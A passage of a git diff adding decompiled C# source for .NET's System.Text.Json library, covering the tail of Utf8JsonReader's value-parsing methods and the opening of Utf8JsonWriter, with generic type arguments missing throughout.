return false; + } + + public bool TryGetDecimal(out decimal value) + { + if (TokenType != JsonTokenType.Number) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedNumber(TokenType); + } + ReadOnlySpan span = (HasValueSequence ? ((ReadOnlySpan)ValueSequence.ToArray()) : ValueSpan); + return TryGetDecimalCore(out value, span); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + internal static bool TryGetDecimalCore(out decimal value, ReadOnlySpan span) + { + if (Utf8Parser.TryParse(span, out decimal value2, out int bytesConsumed, '\0') && span.Length == bytesConsumed) + { + value = value2; + return true; + } + value = default(decimal); + return false; + } + + public bool TryGetDateTime(out DateTime value) + { + if (TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(TokenType); + } + return TryGetDateTimeCore(out value); + } + + internal bool TryGetDateTimeCore(out DateTime value) + { + ReadOnlySpan source; + if (HasValueSequence) + { + long length = ValueSequence.Length; + if (!JsonHelpers.IsInRangeInclusive(length, 10L, 252L)) + { + value = default(DateTime); + return false; + } + Span destination = stackalloc byte[252]; + ValueSequence.CopyTo(destination); + source = destination.Slice(0, (int)length); + } + else + { + if (!JsonHelpers.IsInRangeInclusive(ValueSpan.Length, 10, 252)) + { + value = default(DateTime); + return false; + } + source = ValueSpan; + } + if (ValueIsEscaped) + { + return JsonReaderHelper.TryGetEscapedDateTime(source, out value); + } + if (JsonHelpers.TryParseAsISO(source, out DateTime value2)) + { + value = value2; + return true; + } + value = default(DateTime); + return false; + } + + public bool TryGetDateTimeOffset(out DateTimeOffset value) + { + if (TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(TokenType); + } + return TryGetDateTimeOffsetCore(out value); + } + + internal bool TryGetDateTimeOffsetCore(out DateTimeOffset value) + { + ReadOnlySpan source; + if (HasValueSequence) + { + long length = ValueSequence.Length; + if (!JsonHelpers.IsInRangeInclusive(length, 10L, 252L)) + { + value = default(DateTimeOffset); + return false; + } + Span destination = stackalloc byte[252]; + ValueSequence.CopyTo(destination); + source = destination.Slice(0, (int)length); + } + else + { + if (!JsonHelpers.IsInRangeInclusive(ValueSpan.Length, 10, 252)) + { + value = default(DateTimeOffset); + return false; + } + source = ValueSpan; + } + if (ValueIsEscaped) + { + return JsonReaderHelper.TryGetEscapedDateTimeOffset(source, out value); + } + if (JsonHelpers.TryParseAsISO(source, out DateTimeOffset value2)) + { + value = value2; + return true; + } + value = default(DateTimeOffset); + return false; + } + + public bool TryGetGuid(out Guid value) + { + if (TokenType != JsonTokenType.String) + { + ThrowHelper.ThrowInvalidOperationException_ExpectedString(TokenType); + } + return TryGetGuidCore(out value); + } + + internal bool TryGetGuidCore(out Guid value) + { + ReadOnlySpan source; + if (HasValueSequence) + { + long length = ValueSequence.Length; + if (length > 216) + { + value = default(Guid); + return false; + } + Span destination = stackalloc byte[216]; + ValueSequence.CopyTo(destination); + source = destination.Slice(0, (int)length); + } + else + { + if (ValueSpan.Length > 216) + { + value = default(Guid); + return false; + } + source = ValueSpan; + } + if (ValueIsEscaped) + { + return JsonReaderHelper.TryGetEscapedGuid(source, out value); + } + if (source.Length == 36 && Utf8Parser.TryParse(source, out Guid value2, out int _, 'D')) + { + value = value2; + return true; + } + value = default(Guid); + return false; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriter.cs b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriter.cs new file mode 100644 index 0000000..a01a111 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json/Utf8JsonWriter.cs @@ -0,0 +1,5810 @@ +using System.Buffers; +using System.Buffers.Text; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Globalization; +using System.IO; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Threading; +using System.Threading.Tasks; + +namespace System.Text.Json; + +[DebuggerDisplay("{DebuggerDisplay,nq}")] +public sealed class Utf8JsonWriter : IDisposable, IAsyncDisposable +{ + private static readonly int s_newLineLength = Environment.NewLine.Length; + + private const int DefaultGrowthSize = 4096; + + private const int InitialGrowthSize = 256; + + private IBufferWriter _output; + + private Stream _stream; + + private ArrayBufferWriter _arrayBufferWriter; + + private Memory _memory; + + private bool _inObject; + + private bool _commentAfterNoneOrPropertyName; + + private JsonTokenType _tokenType; + + private BitStack _bitStack; + + private int _currentDepth; + + private JsonWriterOptions _options; + + private static readonly char[] s_singleLineCommentDelimiter = new char[2] { '*', '/' }; + + public int BytesPending { get; private set; } + + public long BytesCommitted { get; private set; } + + public JsonWriterOptions Options => _options; + + private int Indentation => CurrentDepth * 2; + + internal JsonTokenType TokenType => _tokenType; + + public int CurrentDepth => _currentDepth & 0x7FFFFFFF; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private string DebuggerDisplay => $"BytesCommitted = {BytesCommitted} BytesPending = {BytesPending} CurrentDepth = {CurrentDepth}"; + + private static ReadOnlySpan SingleLineCommentDelimiterUtf8 => "*/"u8; + + private Utf8JsonWriter() + { + } + + public Utf8JsonWriter(IBufferWriter bufferWriter, JsonWriterOptions options = default(JsonWriterOptions)) + { + if (bufferWriter == null) + { + ThrowHelper.ThrowArgumentNullException("bufferWriter"); + } + _output = bufferWriter; + _options = options; + if (_options.MaxDepth == 0) + { + _options.MaxDepth = 1000; + } + } + + public Utf8JsonWriter(Stream utf8Json, JsonWriterOptions options = default(JsonWriterOptions)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + if (!utf8Json.CanWrite) + { + throw new ArgumentException(System.SR.StreamNotWritable); + } + _stream = utf8Json; + _options = options; + if (_options.MaxDepth == 0) + { + _options.MaxDepth = 1000; + } + _arrayBufferWriter = new ArrayBufferWriter(); + } + + public void Reset() + { + CheckNotDisposed(); + _arrayBufferWriter?.Clear(); + ResetHelper(); + } + + public void Reset(Stream utf8Json) + { + CheckNotDisposed(); + if (utf8Json == null) + { + throw new ArgumentNullException("utf8Json"); + } + if (!utf8Json.CanWrite) + { + throw new ArgumentException(System.SR.StreamNotWritable); + } + _stream = utf8Json; + if (_arrayBufferWriter == null) + { + _arrayBufferWriter = new ArrayBufferWriter(); + } + else + { + _arrayBufferWriter.Clear(); + } + _output = null; + ResetHelper(); + } + + public void Reset(IBufferWriter bufferWriter) + { + CheckNotDisposed(); + _output = bufferWriter ?? throw new ArgumentNullException("bufferWriter"); + _stream = null; + _arrayBufferWriter = null; + ResetHelper(); + } + + internal void ResetAllStateForCacheReuse() + { + ResetHelper(); + _stream = null; + _arrayBufferWriter = null; + _output = null; + } + + internal void Reset(IBufferWriter bufferWriter, JsonWriterOptions options) + { + _output = bufferWriter; + _options = options; + if (_options.MaxDepth == 0) + { + _options.MaxDepth = 1000; + } + } + + internal static Utf8JsonWriter CreateEmptyInstanceForCaching() + { + return new Utf8JsonWriter(); + } + + private void ResetHelper() + { + BytesPending = 0; + BytesCommitted = 0L; + _memory = default(Memory); + _inObject = false; + _tokenType = JsonTokenType.None; + _commentAfterNoneOrPropertyName = false; + _currentDepth = 0; + _bitStack = default(BitStack); + } + + private void CheckNotDisposed() + { + if (_stream == null && _output == null) + { + ThrowHelper.ThrowObjectDisposedException_Utf8JsonWriter(); + } + } + + public void Flush() + { + CheckNotDisposed(); + _memory = default(Memory); + if (_stream != null) + { + if (BytesPending != 0) + { + _arrayBufferWriter.Advance(BytesPending); + BytesPending = 0; + ArraySegment segment; + bool flag = MemoryMarshal.TryGetArray(_arrayBufferWriter.WrittenMemory, out segment); + _stream.Write(segment.Array, segment.Offset, segment.Count); + BytesCommitted += _arrayBufferWriter.WrittenCount; + _arrayBufferWriter.Clear(); + } + _stream.Flush(); + } + else if (BytesPending != 0) + { + _output.Advance(BytesPending); + BytesCommitted += BytesPending; + BytesPending = 0; + } + } + + public void Dispose() + { + if (_stream != null || _output != null) + { + Flush(); + ResetHelper(); + _stream = null; + _arrayBufferWriter = null; + _output = null; + } + } + + public async ValueTask DisposeAsync() + { + if (_stream != null || _output != null) + { + await FlushAsync().ConfigureAwait(continueOnCapturedContext: false); + ResetHelper(); + _stream = null; + _arrayBufferWriter = null; + _output = null; + } + } + + public async Task FlushAsync(CancellationToken cancellationToken = default(CancellationToken)) + { + CheckNotDisposed(); + _memory = default(Memory); + if (_stream != null) + { + if (BytesPending != 0) + { + _arrayBufferWriter.Advance(BytesPending); + BytesPending = 0; + MemoryMarshal.TryGetArray(_arrayBufferWriter.WrittenMemory, out var segment); + await _stream.WriteAsync(segment.Array, segment.Offset, segment.Count, cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + BytesCommitted += _arrayBufferWriter.WrittenCount; + _arrayBufferWriter.Clear(); + } + await _stream.FlushAsync(cancellationToken).ConfigureAwait(continueOnCapturedContext: false); + } + else if (BytesPending != 0) + { + _output.Advance(BytesPending); + BytesCommitted += BytesPending; + BytesPending = 0; + } + } + + public void WriteStartArray() + { + WriteStart(91); + _tokenType = JsonTokenType.StartArray; + } + + public void WriteStartObject() + { + WriteStart(123); + _tokenType = JsonTokenType.StartObject; + } + + private void WriteStart(byte token) + { + if (CurrentDepth >= _options.MaxDepth) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.DepthTooLarge, _currentDepth, _options.MaxDepth, 0, JsonTokenType.None); + } + if (_options.IndentedOrNotSkipValidation) + { + WriteStartSlow(token); + } + else + { + WriteStartMinimized(token); + } + _currentDepth &= int.MaxValue; + _currentDepth++; + } + + private void WriteStartMinimized(byte token) + { + if (_memory.Length - BytesPending < 2) + { + Grow(2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = token; + } + + private void WriteStartSlow(byte token) + { + if (_options.Indented) + { + if (!_options.SkipValidation) + { + ValidateStart(); + UpdateBitStackOnStart(token); + } + WriteStartIndented(token); + } + else + { + ValidateStart(); + UpdateBitStackOnStart(token); + WriteStartMinimized(token); + } + } + + private void ValidateStart() + { + if (_inObject) + { + if (_tokenType != JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotStartObjectArrayWithoutProperty, 0, _options.MaxDepth, 0, _tokenType); + } + } + else if (CurrentDepth == 0 && _tokenType != JsonTokenType.None) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.CannotStartObjectArrayAfterPrimitiveOrClose, 0, _options.MaxDepth, 0, _tokenType); + } + } + + private void WriteStartIndented(byte token) + { + int indentation = Indentation; + int num = indentation + 1; + int num2 = num + 3; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + JsonTokenType tokenType = _tokenType; + if ((tokenType != JsonTokenType.PropertyName && tokenType != JsonTokenType.None) || _commentAfterNoneOrPropertyName) + { + WriteNewLine(span); + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + } + span[BytesPending++] = token; + } + + public void WriteStartArray(JsonEncodedText propertyName) + { + WriteStartHelper(propertyName.EncodedUtf8Bytes, 91); + _tokenType = JsonTokenType.StartArray; + } + + public void WriteStartObject(JsonEncodedText propertyName) + { + WriteStartHelper(propertyName.EncodedUtf8Bytes, 123); + _tokenType = JsonTokenType.StartObject; + } + + private void WriteStartHelper(ReadOnlySpan utf8PropertyName, byte token) + { + ValidateDepth(); + WriteStartByOptions(utf8PropertyName, token); + _currentDepth &= int.MaxValue; + _currentDepth++; + } + + public void WriteStartArray(ReadOnlySpan utf8PropertyName) + { + ValidatePropertyNameAndDepth(utf8PropertyName); + WriteStartEscape(utf8PropertyName, 91); + _currentDepth &= int.MaxValue; + _currentDepth++; + _tokenType = JsonTokenType.StartArray; + } + + public void WriteStartObject(ReadOnlySpan utf8PropertyName) + { + ValidatePropertyNameAndDepth(utf8PropertyName); + WriteStartEscape(utf8PropertyName, 123); + _currentDepth &= int.MaxValue; + _currentDepth++; + _tokenType = JsonTokenType.StartObject; + } + + private void WriteStartEscape(ReadOnlySpan utf8PropertyName, byte token) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStartEscapeProperty(utf8PropertyName, token, num); + } + else + { + WriteStartByOptions(utf8PropertyName, token); + } + } + + private void WriteStartByOptions(ReadOnlySpan utf8PropertyName, byte token) + { + ValidateWritingProperty(token); + if (_options.Indented) + { + WritePropertyNameIndented(utf8PropertyName, token); + } + else + { + WritePropertyNameMinimized(utf8PropertyName, token); + } + } + + private void WriteStartEscapeProperty(ReadOnlySpan utf8PropertyName, byte token, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStartByOptions(destination.Slice(0, written), token); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + public void WriteStartArray(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteStartArray(propertyName.AsSpan()); + } + + public void WriteStartObject(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteStartObject(propertyName.AsSpan()); + } + + public void WriteStartArray(ReadOnlySpan propertyName) + { + ValidatePropertyNameAndDepth(propertyName); + WriteStartEscape(propertyName, 91); + _currentDepth &= int.MaxValue; + _currentDepth++; + _tokenType = JsonTokenType.StartArray; + } + + public void WriteStartObject(ReadOnlySpan propertyName) + { + ValidatePropertyNameAndDepth(propertyName); + WriteStartEscape(propertyName, 123); + _currentDepth &= int.MaxValue; + _currentDepth++; + _tokenType = JsonTokenType.StartObject; + } + + private void WriteStartEscape(ReadOnlySpan propertyName, byte token) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStartEscapeProperty(propertyName, token, num); + } + else + { + WriteStartByOptions(propertyName, token); + } + } + + private void WriteStartByOptions(ReadOnlySpan propertyName, byte token) + { + ValidateWritingProperty(token); + if (_options.Indented) + { + WritePropertyNameIndented(propertyName, token); + } + else + { + WritePropertyNameMinimized(propertyName, token); + } + } + + private void WriteStartEscapeProperty(ReadOnlySpan propertyName, byte token, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStartByOptions(destination.Slice(0, written), token); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + public void WriteEndArray() + { + WriteEnd(93); + _tokenType = JsonTokenType.EndArray; + } + + public void WriteEndObject() + { + WriteEnd(125); + _tokenType = JsonTokenType.EndObject; + } + + private void WriteEnd(byte token) + { + if (_options.IndentedOrNotSkipValidation) + { + WriteEndSlow(token); + } + else + { + WriteEndMinimized(token); + } + SetFlagToAddListSeparatorBeforeNextItem(); + if (CurrentDepth != 0) + { + _currentDepth--; + } + } + + private void WriteEndMinimized(byte token) + { + if (_memory.Length - BytesPending < 1) + { + Grow(1); + } + _memory.Span[BytesPending++] = token; + } + + private void WriteEndSlow(byte token) + { + if (_options.Indented) + { + if (!_options.SkipValidation) + { + ValidateEnd(token); + } + WriteEndIndented(token); + } + else + { + ValidateEnd(token); + WriteEndMinimized(token); + } + } + + private void ValidateEnd(byte token) + { + if (_bitStack.CurrentDepth <= 0 || _tokenType == JsonTokenType.PropertyName) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.MismatchedObjectArray, 0, _options.MaxDepth, token, _tokenType); + } + if (token == 93) + { + if (_inObject) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.MismatchedObjectArray, 0, _options.MaxDepth, token, _tokenType); + } + } + else if (!_inObject) + { + ThrowHelper.ThrowInvalidOperationException(ExceptionResource.MismatchedObjectArray, 0, _options.MaxDepth, token, _tokenType); + } + _inObject = _bitStack.Pop(); + } + + private void WriteEndIndented(byte token) + { + if (_tokenType == JsonTokenType.StartObject || _tokenType == JsonTokenType.StartArray) + { + WriteEndMinimized(token); + return; + } + int num = Indentation; + if (num != 0) + { + num -= 2; + } + int num2 = num + 3; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + WriteNewLine(span); + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), num); + BytesPending += num; + span[BytesPending++] = token; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void WriteNewLine(Span output) + { + if (s_newLineLength == 2) + { + output[BytesPending++] = 13; + } + output[BytesPending++] = 10; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private void UpdateBitStackOnStart(byte token) + { + if (token == 91) + { + _bitStack.PushFalse(); + _inObject = false; + } + else + { + _bitStack.PushTrue(); + _inObject = true; + } + } + + private void Grow(int requiredSize) + { + if (_memory.Length == 0) + { + FirstCallToGetMemory(requiredSize); + return; + } + int num = Math.Max(4096, requiredSize); + if (_stream != null) + { + int num2 = BytesPending + num; + JsonHelpers.ValidateInt32MaxArrayLength((uint)num2); + _memory = _arrayBufferWriter.GetMemory(num2); + return; + } + _output.Advance(BytesPending); + BytesCommitted += BytesPending; + BytesPending = 0; + _memory = _output.GetMemory(num); + if (_memory.Length < num) + { + ThrowHelper.ThrowInvalidOperationException_NeedLargerSpan(); + } + } + + private void FirstCallToGetMemory(int requiredSize) + { + int num = Math.Max(256, requiredSize); + if (_stream != null) + { + _memory = _arrayBufferWriter.GetMemory(num); + return; + } + _memory = _output.GetMemory(num); + if (_memory.Length < num) + { + ThrowHelper.ThrowInvalidOperationException_NeedLargerSpan(); + } + } + + private void SetFlagToAddListSeparatorBeforeNextItem() + { + _currentDepth |= int.MinValue; + } + + public void WriteBase64String(JsonEncodedText propertyName, ReadOnlySpan bytes) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteBase64ByOptions(encodedUtf8Bytes, bytes); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteBase64String(string propertyName, ReadOnlySpan bytes) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteBase64String(propertyName.AsSpan(), bytes); + } + + public void WriteBase64String(ReadOnlySpan propertyName, ReadOnlySpan bytes) + { + JsonWriterHelper.ValidatePropertyNameLength(propertyName); + WriteBase64Escape(propertyName, bytes); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteBase64String(ReadOnlySpan utf8PropertyName, ReadOnlySpan bytes) + { + JsonWriterHelper.ValidatePropertyNameLength(utf8PropertyName); + WriteBase64Escape(utf8PropertyName, bytes); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteBase64Escape(ReadOnlySpan propertyName, ReadOnlySpan bytes) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteBase64EscapeProperty(propertyName, bytes, num); + } + else + { + WriteBase64ByOptions(propertyName, bytes); + } + } + + private void WriteBase64Escape(ReadOnlySpan utf8PropertyName, ReadOnlySpan bytes) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteBase64EscapeProperty(utf8PropertyName, bytes, num); + } + else + { + WriteBase64ByOptions(utf8PropertyName, bytes); + } + } + + private void WriteBase64EscapeProperty(ReadOnlySpan propertyName, ReadOnlySpan bytes, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteBase64ByOptions(destination.Slice(0, written), bytes); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteBase64EscapeProperty(ReadOnlySpan utf8PropertyName, ReadOnlySpan bytes, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteBase64ByOptions(destination.Slice(0, written), bytes); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteBase64ByOptions(ReadOnlySpan propertyName, ReadOnlySpan bytes) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteBase64Indented(propertyName, bytes); + } + else + { + WriteBase64Minimized(propertyName, bytes); + } + } + + private void WriteBase64ByOptions(ReadOnlySpan utf8PropertyName, ReadOnlySpan bytes) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteBase64Indented(utf8PropertyName, bytes); + } + else + { + WriteBase64Minimized(utf8PropertyName, bytes); + } + } + + private void WriteBase64Minimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan bytes) + { + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num = escapedPropertyName.Length * 3 + maxEncodedToUtf8Length + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + private void WriteBase64Minimized(ReadOnlySpan escapedPropertyName, ReadOnlySpan bytes) + { + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num = escapedPropertyName.Length + maxEncodedToUtf8Length + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + private void WriteBase64Indented(ReadOnlySpan escapedPropertyName, ReadOnlySpan bytes) + { + int indentation = Indentation; + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num = indentation + escapedPropertyName.Length * 3 + maxEncodedToUtf8Length + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + private void WriteBase64Indented(ReadOnlySpan escapedPropertyName, ReadOnlySpan bytes) + { + int indentation = Indentation; + int maxEncodedToUtf8Length = Base64.GetMaxEncodedToUtf8Length(bytes.Length); + int num = indentation + escapedPropertyName.Length + maxEncodedToUtf8Length + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + Base64EncodeAndWrite(bytes, span, maxEncodedToUtf8Length); + span[BytesPending++] = 34; + } + + public void WriteString(JsonEncodedText propertyName, DateTime value) + { + ReadOnlySpan encodedUtf8Bytes = propertyName.EncodedUtf8Bytes; + WriteStringByOptions(encodedUtf8Bytes, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(string propertyName, DateTime value) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + WriteString(propertyName.AsSpan(), value); + } + + public void WriteString(ReadOnlySpan propertyName, DateTime value) + { + JsonWriterHelper.ValidateProperty(propertyName); + WriteStringEscape(propertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + public void WriteString(ReadOnlySpan utf8PropertyName, DateTime value) + { + JsonWriterHelper.ValidateProperty(utf8PropertyName); + WriteStringEscape(utf8PropertyName, value); + SetFlagToAddListSeparatorBeforeNextItem(); + _tokenType = JsonTokenType.String; + } + + private void WriteStringEscape(ReadOnlySpan propertyName, DateTime value) + { + int num = JsonWriterHelper.NeedsEscaping(propertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(propertyName, value, num); + } + else + { + WriteStringByOptions(propertyName, value); + } + } + + private void WriteStringEscape(ReadOnlySpan utf8PropertyName, DateTime value) + { + int num = JsonWriterHelper.NeedsEscaping(utf8PropertyName, _options.Encoder); + if (num != -1) + { + WriteStringEscapeProperty(utf8PropertyName, value, num); + } + else + { + WriteStringByOptions(utf8PropertyName, value); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan propertyName, DateTime value, int firstEscapeIndexProp) + { + char[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(propertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 128) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc char[128]); + Span destination = span; + JsonWriterHelper.EscapeString(propertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringEscapeProperty(ReadOnlySpan utf8PropertyName, DateTime value, int firstEscapeIndexProp) + { + byte[] array = null; + int maxEscapedLength = JsonWriterHelper.GetMaxEscapedLength(utf8PropertyName.Length, firstEscapeIndexProp); + Span span = ((maxEscapedLength > 256) ? ((Span)(array = ArrayPool.Shared.Rent(maxEscapedLength))) : stackalloc byte[256]); + Span destination = span; + JsonWriterHelper.EscapeString(utf8PropertyName, destination, firstEscapeIndexProp, _options.Encoder, out var written); + WriteStringByOptions(destination.Slice(0, written), value); + if (array != null) + { + ArrayPool.Shared.Return(array); + } + } + + private void WriteStringByOptions(ReadOnlySpan propertyName, DateTime value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(propertyName, value); + } + else + { + WriteStringMinimized(propertyName, value); + } + } + + private void WriteStringByOptions(ReadOnlySpan utf8PropertyName, DateTime value) + { + ValidateWritingProperty(); + if (_options.Indented) + { + WriteStringIndented(utf8PropertyName, value); + } + else + { + WriteStringMinimized(utf8PropertyName, value); + } + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, DateTime value) + { + int num = escapedPropertyName.Length * 3 + 33 + 6; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringMinimized(ReadOnlySpan escapedPropertyName, DateTime value) + { + int num = escapedPropertyName.Length + 33 + 5; + int num2 = num + 1; + if (_memory.Length - BytesPending < num2) + { + Grow(num2); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + span[BytesPending++] = 34; + escapedPropertyName.CopyTo(span.Slice(BytesPending)); + BytesPending += escapedPropertyName.Length; + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 34; + JsonWriterHelper.WriteDateTimeTrimmed(span.Slice(BytesPending), value, out var bytesWritten); + BytesPending += bytesWritten; + span[BytesPending++] = 34; + } + + private void WriteStringIndented(ReadOnlySpan escapedPropertyName, DateTime value) + { + int indentation = Indentation; + int num = indentation + escapedPropertyName.Length * 3 + 33 + 7 + s_newLineLength; + if (_memory.Length - BytesPending < num) + { + Grow(num); + } + Span span = _memory.Span; + if (_currentDepth < 0) + { + span[BytesPending++] = 44; + } + if (_tokenType != JsonTokenType.None) + { + WriteNewLine(span); + } + JsonWriterHelper.WriteIndentation(span.Slice(BytesPending), indentation); + BytesPending += indentation; + span[BytesPending++] = 34; + TranscodeAndWrite(escapedPropertyName, span); + span[BytesPending++] = 34; + span[BytesPending++] = 58; + span[BytesPending++] = 32; + span[BytesPending++] = 34; + 